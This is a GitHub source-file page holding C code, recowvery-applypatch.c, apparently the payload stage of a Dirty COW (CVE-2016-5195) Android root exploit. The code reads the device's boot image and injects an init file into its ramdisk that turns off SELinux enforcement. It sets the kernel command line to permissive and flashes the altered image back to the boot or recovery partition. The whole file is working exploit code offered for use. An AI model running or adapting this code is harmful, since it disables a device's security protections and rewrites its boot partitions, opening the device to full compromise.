forked from timwr/CVE-2016-5195
-
Notifications
You must be signed in to change notification settings - Fork 37
/
Copy pathrecowvery-applypatch.c
396 lines (319 loc) · 9.28 KB
/
recowvery-applypatch.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <fcntl.h>
#include <sys/stat.h>
#define APP_NAME "recowvery"
#define HOST_NAME "applypatch"
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, APP_NAME, __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { __android_log_print(ANDROID_LOG_ERROR, APP_NAME, __VA_ARGS__); fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#else
#define LOGV(...) { printf(__VA_ARGS__); printf("\n"); }
#define LOGE(...) { fprintf(stderr, __VA_ARGS__); fprintf(stderr, "\n"); }
#endif
#define SEP LOGV("------------")
#include "bootimg.h"
#define MiB 1048576
#define _FILE_OFFSET_BITS 64
/* directories to store content for working on
* /data/local is r/w accessible by limited capabilities root
* /cache is r/w accessible by u:r:install_recovery:s0 context as full capabilities root
*/
#define WORK_BOOT "/data/local"
#define WORK_RECOVERY "/cache"
/* msm8996 */
#define BLOCK_BOOT "/dev/block/bootdevice/by-name/boot"
#define BLOCK_RECOVERY "/dev/block/bootdevice/by-name/recovery"
/* universal8890 */
//#define BLOCK_BOOT "/dev/block/platform/155a0000.ufs/by-name/BOOT"
//#define BLOCK_RECOVERY "/dev/block/platform/155a0000.ufs/by-name/RECOVERY"
/* name of the init file we're going to overwrite */
static const char init_rc[] = "init.lge.fm.rc";
static const char init_rc_content[] =
/* this is the content of our new init file */
"on boot\n"
" setprop ro.fm.module BCM\n"
" setenforce 0\n"
" write /sys/fs/selinux/enforce 0\n"
"\n"
"on property:sys.boot_completed=1\n"
" setenforce 0\n"
" write /sys/fs/selinux/enforce 0\n";
/* end of init file content */
static off_t seek_last_null(const int fd, const int reverse)
{
char c[1];
if (reverse)
lseek(fd, -1, SEEK_CUR);
while (read(fd, c, 1) > 0) {
if (*c)
return lseek(fd, reverse ? 1 : -1, SEEK_CUR); // go back to the last null
if (reverse)
lseek(fd, -2, SEEK_CUR);
}
return lseek(fd, 0, SEEK_CUR);
}
/* start cpio code */
#define CPIO_MAGIC "070701"
#define CPIO_TRAILER_MAGIC "TRAILER!!!"
#define CPIO_TRAILER_INNER "00000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000B00000000"
static const byte cpio_trailer[] = CPIO_MAGIC CPIO_TRAILER_INNER CPIO_TRAILER_MAGIC;
static byte *cpio_file(const char *file, const byte *content, const off_t content_len, off_t *cpio_len)
{
struct stat st = {0};
off_t sz = 0;
const int flen = strlen(file) + 1; // null terminator
byte *cpio, *c;
st.st_mode |= S_IFREG; // is a file
st.st_mode |= S_IRWXU | S_IRGRP | S_IXGRP; // permission mode 0750
st.st_nlink = 1;
st.st_mtime = time(0); // set modification to now
st.st_size = content_len;
// calculate length of the new cpio file
*cpio_len = 110 + flen + 3 + content_len + 3;
// allocate full memory needed to store cpio file
c = cpio = malloc(*cpio_len);
// write cpio header, content size, filename all in one go
c += sprintf((char*)c,
CPIO_MAGIC
"%08X%08X%08X%08X%08X%08X"
"%08X%08X%08X%08X%08X%08X"
"00000000%s",
(uint32_t)st.st_ino,
(uint32_t)st.st_mode,
(uint32_t)st.st_uid,
(uint32_t)st.st_gid,
(uint32_t)st.st_nlink,
(uint32_t)st.st_mtime,
(uint32_t)st.st_size,
(uint32_t)major(st.st_dev),
(uint32_t)minor(st.st_dev),
(uint32_t)major(st.st_rdev),
(uint32_t)minor(st.st_rdev),
flen, file);
// add null padding (+1 for filename null terminator)
memset(c, 0, 4);
c += 4;
// write content to cpio file
memcpy(c, content, content_len);
c += content_len;
// add null padding
memset(c, 0, 3);
c += 3;
// assert((c - cpio) != *cpio_len));
return cpio;
}
static int cpio_append(const char *file, const byte *cpio, const off_t cpio_len)
{
int fd, ret = 0;
off_t sz;
byte tmp[] = CPIO_TRAILER_MAGIC;
fd = open(file, O_RDWR);
if (fd < 0) {
LOGE("Could not open cpio archive '%s' as r/w!", file);
goto oops;
}
sz = lseek(fd, 0, SEEK_END);
if (sz < 0)
goto oops;
LOGV("Opened cpio archive '%s' (%lld bytes)", file, (long long)sz);
sz = seek_last_null(fd, 1);
// search for cpio trailer magic
lseek(fd, -sizeof(tmp), SEEK_CUR);
read(fd, tmp, sizeof(tmp));
if (memcmp(CPIO_TRAILER_MAGIC, tmp, sizeof(tmp))) {
lseek(fd, sz, SEEK_SET); // didn't find trailer magic, go back to first null
goto append;
}
// seek to the start of trailer
lseek(fd, -sizeof(cpio_trailer), SEEK_CUR);
append:
if (write(fd, cpio, cpio_len) != cpio_len) {
ret = EIO;
goto trailer;
}
LOGV("Wrote new file (%lld bytes) to cpio archive,", (long long)cpio_len);
trailer:
if (write(fd, cpio_trailer, sizeof(cpio_trailer)) != sizeof(cpio_trailer)) {
ret = EIO;
goto oops;
}
// final 3 byte null padding
write(fd, "\0\0\0", 3);
sz = lseek(fd, 0, SEEK_CUR);
// make sure there's no trailing garbage
ftruncate(fd, sz);
LOGV("Final size: %lld bytes", (long long)sz);
oops:
if (fd >= 0)
close(fd);
return ret;
}
/* end cpio code */
static int valid_filesize(const char *file, const off_t size)
{
int fd;
off_t sz;
LOGV("Checking '%s' for validity (size >= %lld bytes)", file, (long long)size);
fd = open(file, O_RDONLY);
if (fd < 0) {
LOGE("Couldn't open file for reading!");
return ENOENT;
}
sz = lseek(fd, 0, SEEK_END);
LOGV("'%s': %lld bytes", file, (long long)sz);
if (sz < size) {
LOGE("File is not at least %lld bytes, must not be valid", (long long)size);
close(fd);
return EINVAL;
}
LOGV("File OK");
close(fd);
return 0;
}
static int decompress_ramdisk(const char *ramdisk, const char *cpio)
{
int ret = 0;
char cmd[100];
LOGV("Decompressing ramdisk (gzip -d)");
sprintf(cmd, "gzip -d < \"%s\" > \"%s\"", ramdisk, cpio);
system(cmd);
ret = valid_filesize(cpio, 4*MiB);
if (ret)
goto oops;
LOGV("Decompression of ramdisk successful");
LOGV("Deleting '%s' (no longer needed)", ramdisk);
remove(ramdisk);
return 0;
oops:
LOGE("Ramdisk decompression failed!");
return ret;
}
static int compress_ramdisk(const char *cpio, const char *ramdisk)
{
int ret = 0;
char cmd[100];
LOGV("Compressing cpio to ramdisk (gzip -9 -c)");
sprintf(cmd, "gzip -9 -c < \"%s\" > \"%s\"", cpio, ramdisk);
system(cmd);
ret = valid_filesize(ramdisk, 2*MiB);
if (ret)
goto oops;
LOGV("Compression of ramdisk successful");
LOGV("Deleting '%s' (no longer needed)", cpio);
remove(cpio);
return 0;
oops:
LOGE("Ramdisk compression failed!");
return ret;
}
static int flash_permissive_boot(const int to_boot)
{
int ret = 0;
off_t sz;
boot_img *image;
const char *ramdisk, *cpio, *flash_block;
if (to_boot) {
flash_block = BLOCK_BOOT;
ramdisk = WORK_BOOT "/ramdisk.gz";
cpio = WORK_BOOT "/ramdisk.cpio";
} else {
flash_block = BLOCK_RECOVERY;
ramdisk = WORK_RECOVERY "/ramdisk.gz";
cpio = WORK_RECOVERY "/ramdisk.cpio";
}
SEP;
/* start read boot image */
LOGV("Loading boot image from block device '%s'...", BLOCK_BOOT);
image = load_boot_image(BLOCK_BOOT);
if (!image) {
LOGE("Failed to load boot image!");
ret = EINVAL;
goto oops;
}
LOGV("Loaded boot image!");
/* end read boot image */
SEP;
/* start ramdisk modification */
LOGV("Saving old ramdisk to file");
ret = bootimg_save(image, BOOTIMG_RAMDISK, ramdisk);
if (ret)
goto oops;
ret = decompress_ramdisk(ramdisk, cpio);
if (ret)
goto oops;
SEP;
/* start add modified init.lge.fm.rc to ramdisk cpio */
byte* cpiodata = cpio_file(init_rc, (byte*)init_rc_content, strlen(init_rc_content), &sz);
ret = cpio_append(cpio, cpiodata, sz);
if (ret) {
LOGE("Failed to append '%s' to the cpio file", init_rc);
goto oops;
}
/* end add modified init.lge.fm.rc to ramdisk cpio */
SEP;
ret = compress_ramdisk(cpio, ramdisk);
if (ret)
goto oops;
LOGV("Loading new ramdisk into boot image");
ret = bootimg_load(image, BOOTIMG_RAMDISK, ramdisk);
if (ret)
goto oops;
/* end ramdisk modification */
SEP;
/* start cmdline set */
LOGV("cmdline: \"%s\"", image->hdr.cmdline);
LOGV("Setting permissive arguments on cmdline");
bootimg_set_cmdline_arg(image, "androidboot.selinux", "permissive");
bootimg_set_cmdline_arg(image, "enforcing", "0");
LOGV("cmdline: \"%s\"", image->hdr.cmdline);
/* end cmdline set */
SEP;
/* start flash boot image */
LOGV("Updating boot image hash");
bootimg_update_hash(image);
LOGV("Writing modified boot image to block device '%s'...", flash_block);
ret = write_boot_image(image, flash_block);
if (ret) {
LOGE("Failed to write boot image: %s", strerror(ret));
goto oops;
}
LOGV("Done!");
/* end flash boot image */
SEP;
LOGV("Permissive boot has been has been flashed to %s successfully!", flash_block)
LOGV("You may use '%s' now to enter a permissive system.",
to_boot ? "reboot" : "reboot recovery");
if (!to_boot) {
SEP;
LOGV("Warning: If you don't reboot now, this will continue to run every 3 minutes!");
}
LOGV("***********************************************");
LOGV("* give jcadduono a hug, will ya? *");
LOGV("***********************************************");
ret = 0;
oops:
free_boot_image(image);
return ret;
}
int main(int argc, char **argv)
{
int ret = 0;
LOGV("Welcome to %s! (%s)", APP_NAME, HOST_NAME);
if (argc > 1 && !strcmp(argv[1], "boot"))
ret = flash_permissive_boot(1);
else
ret = flash_permissive_boot(0);
if (ret)
goto oops;
return 0;
oops:
LOGE("Error %d: %s", ret, strerror(ret));
LOGE("Exiting...");
return ret;
}